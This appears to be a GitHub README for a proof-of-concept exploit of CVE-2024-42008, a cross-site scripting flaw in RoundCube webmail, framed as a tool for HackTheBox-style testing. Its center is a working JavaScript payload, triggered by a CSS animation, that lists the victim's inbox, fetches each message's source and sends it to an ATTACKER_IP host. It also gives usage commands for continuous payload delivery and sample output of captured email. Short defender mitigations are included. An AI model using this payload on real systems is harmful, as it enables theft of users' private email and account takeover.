CVE-2024-42008 RoundCube XSS Exploit

Overview

This repository contains a proof-of-concept exploit for CVE-2024-42008, a Cross-Site Scripting (XSS) vulnerability in RoundCube webmail application. This exploit is designed for educational purposes and controlled penetration testing environments like HackTheBox.

Vulnerability Details

CVE-2024-42008 Summary

CVE ID: CVE-2024-42008
Type: Cross-Site Scripting (XSS)
CVSS Score: High
Affected Versions:
- RoundCube ≤ 1.5.7
- RoundCube 1.6.x ≤ 1.6.7
Fixed Versions: 1.5.8, 1.6.8+

Technical Details

The vulnerability exists in rcmail_action_mail_get->run() and allows remote attackers to execute arbitrary JavaScript in victims' browsers. The flaw stems from insufficient input validation when processing email content, particularly in handling CSS animations and JavaScript execution contexts.

Key Attack Vector:

Malicious HTML content injected via contact forms or email messages
CSS animation properties used to trigger JavaScript execution
onanimationstart event handlers bypass content filters
JavaScript payload executes in the context of the webmail application

Impact

Successful exploitation allows attackers to:

Steal victim's emails from INBOX and other folders
Exfiltrate email metadata (UIDs, message lists)
Access email source code and attachments
Send emails from victim's account
Harvest login credentials and session tokens
Perform actions on behalf of the victim

Exploit Script Analysis

Script Architecture

The exploit consists of three main components:

XSS Payload Delivery: Sends malicious HTML via contact form
HTTP Server: Listens for exfiltrated data
Data Processing: Captures and logs stolen emails

Payload Breakdown

// The core XSS payload uses CSS animations to trigger JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
  // 1. Fetch email list from victim's INBOX
  fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
  .then(r=>r.text())
  .then(t=>{
    // 2. Extract email UIDs using regex
    [...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
      // 3. For each email, fetch full source
      fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
      .then(r=>r.text())
      .then(data=>{
        // 4. Exfiltrate email data to attacker server
        fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
      })
    })
  })
; foo=bar">

Key Features

Continuous Operation: Can send payloads at regular intervals
Stealth Mode: Minimal footprint and error handling
Data Logging: Automatic capture and storage of exfiltrated emails
Debug Mode: Proxy support for traffic analysis
Configurable: Multiple command-line options

Usage

Prerequisites

pip install requests

Basic Usage

# Single payload delivery
python cve-2024-42008-exploit.py

# Continuous mode (every 30 seconds)
python cve-2024-42008-exploit.py -c

# Custom interval (every 60 seconds)
python cve-2024-42008-exploit.py -c -i 60

# Debug mode with proxy
python cve-2024-42008-exploit.py -d

Configuration

Edit the script to configure:

ATTACKER_IP: Your listening server IP
ATTACKER_PORT: Port for receiving exfiltrated data
RECIPIENT_EMAIL: Target email address
TARGET_URL: Vulnerable RoundCube instance
PROXY: Proxy server for debugging (Burp Suite/Caido)

Command Line Options

Option	Description
`-d, --debug`	Enable debug mode with proxy support
`-c, --continuous`	Send payloads continuously
`-i, --interval`	Interval between payloads (default: 30s)

Attack Flow

Payload Injection: Script sends malicious HTML via contact form
Email Delivery: Vulnerable RoundCube processes and delivers email
Victim Interaction: User opens/views the malicious email
XSS Execution: CSS animation triggers JavaScript payload
Data Exfiltration: JavaScript steals emails and sends to attacker
Data Capture: Exploit server receives and logs stolen data

Detection and Mitigation

For Defenders

Detection Indicators:

Unusual CSS animation properties in email content
onanimationstart event handlers in HTML
Suspicious JavaScript in email messages
Outbound requests to unknown domains from webmail
Repeated contact form submissions

Mitigation Strategies:

Update RoundCube to version 1.5.8 or 1.6.8+
Implement Content Security Policy (CSP)
Enable email content filtering
Monitor for suspicious outbound traffic
Regular security audits of webmail configurations

For Penetration Testers

Testing Considerations:

Ensure proper authorization before testing
Document all activities for reporting
Test in isolated environments only
Verify target is intentionally vulnerable
Follow responsible disclosure practices

Legal and Ethical Considerations

⚠️ WARNING: This exploit is provided for educational and authorized testing purposes only.

Only use on systems you own or have explicit permission to test
Designed for HackTheBox and similar learning platforms
Unauthorized use may violate local and international laws
Always follow responsible disclosure practices
Respect privacy and data protection regulations

Technical References

Output Example

[+] Listening on 10.10.14.209:8001 for exfiltrated data...
[2024-07-09 10:30:15] POST Request Sent! Status Code: 200

[+] 📩 Captured Email Data:
Return-Path: <[email protected]>
Received: from localhost (localhost [127.0.0.1])
...
[Email content]
--------------------------------------------------
[+] 🔥 Email data saved to emails.log

Disclaimer

This code is provided for educational purposes and authorized penetration testing only. The authors are not responsible for any misuse or damage caused by this software. Always ensure you have proper authorization before testing any system.

Roundcube-CVE-2024-42008-POC

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